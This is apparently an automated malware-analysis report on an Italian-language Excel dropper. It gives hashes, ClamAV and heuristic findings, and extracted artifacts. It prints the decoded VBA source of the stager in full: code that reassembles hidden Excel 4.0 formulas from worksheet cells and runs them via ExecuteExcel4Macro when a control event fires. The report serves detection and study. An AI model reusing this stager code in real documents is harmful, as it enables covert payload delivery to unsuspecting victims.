Xls.Dropper.Agent-7777910-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 36f96cfd0a85b001…

MALICIOUS

Office (OLE)

159.0 KB Created: 2020-05-06 11:05:11 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: c0f5761f703e1847da1861045d9ec69b SHA-1: 352a050d3b3d0000ddd278e0ecf209a15d9c5ef3 SHA-256: 36f96cfd0a85b0019e71640564e1539a97f4d3c96bd901f8ea55b6b394917dae
220 Risk Score

Malware Insights

Xls.Dropper.Agent-7777910-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV as 'Xls.Dropper.Agent-7777910-0'. Critical heuristics indicate that VBA macros are used to launch decoded Excel 4.0 macros via an ActiveX event, a common stager technique. The presence of both VBA and XLM macros suggests a multi-stage execution chain designed to download and run a payload.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-7777910-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7777910-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event runs worksheet-decoded XLM formulas critical OLE_VBA_ACTIVEX_XLM_CELL_STAGER
    VBA code attached to an ActiveX/UserForm event reconstructs formula text from worksheet constants using Split/Replace/Mid or character shifting, then executes it through ExecuteExcel4Macro or Run. This is a high-confidence malware stager that hides XLM formula execution in sheet cells; it is not a document-parser CVE.
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 147168 bytes
SHA-256: 6e328db368b54c47eae1c97f3c3b93539d38a6f00bc4729c72992a49784481e6
Preview script
First 1,000 lines of the extracted script
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  am
' 0085     30 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  DETTAGLI DEL PAGAMENT
' 0018     27 LABEL : Cell Value, String Constant - Vrtih len=7 ptgRef3d  am!C750 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST

... (truncated)
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2313 bytes
SHA-256: dc83954798c8ef20c23d440e5b975e2d33e54e60540178445f5da6fae9a03177
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "DETTAGLI, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "salva1, 2, 1, MSForms, Frame"
Sub commas()
Debug.Print headerss("A", 1, 1, 1)
End Sub

Private Sub DETTAGLI_Click()
commas: pagoo: commas
End Sub
Function headerss(um As String, a, b, c As Integer)
On Error Resume Next
Dim Ar As Variant
Dim el As Variant
Dim wks1 As Worksheet
Set wks1 = Sheets("amm")
Dim Result() As String
ll = Len(um)
pp = ""

headersss = "": headerss = ""
Result = topos(um)
For ii = 1 To ll

ks = Result(ii) & a & ":" & Result(ii) & b
headersss = ""
    Range(ks).Select
    For Each self In Selection.SpecialCells(xlCellTypeConstants)
    u = CStr(self)
    rlen = Len(u)
    Rri = Mid(u, rlen, 1)
    pp = pp + "" & Rri
    
    Next
    
    wks1.Cells(c, 4) = pp
    pp = ""
Next ii

On Error GoTo 0
End Function
Function topos(W As String) As String()
    Dim res() As String
    ReDim res(1 To Len(W))
    For i = 1 To Len(W)
        res(i) = Mid(W, i, 1)
    Next
    topos = res
End Function
Sub pagoo()
On Error Resume Next
Debug.Print headerss("D", 120, 160, 751)
falses = headerss("J", 166, 442, 753)
Debug.Print headerss("C", 138, 437, 754)
namess = headerss("G", 145, 424, 755)
Debug.Print headerss("B", 230, 520, 756)
logo = headerss("L", 207, 487, 757)
Debug.Print headerss("X", 172, 450, 758)
printeds = headerss("O", 380, 660, 759)
Debug.Print headerss("N", 350, 632, 760)
iik = headerss("Q", 285, 565, 761)
Debug.Print headerss("S", 205, 445, 762): commas
MsgBox ExecuteExcel4Macro("RUN(""Vrtih"")")
End Sub
Sub salva1_Layout()
Application.WindowState = xlMinimized
commas: pagoo: commas
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.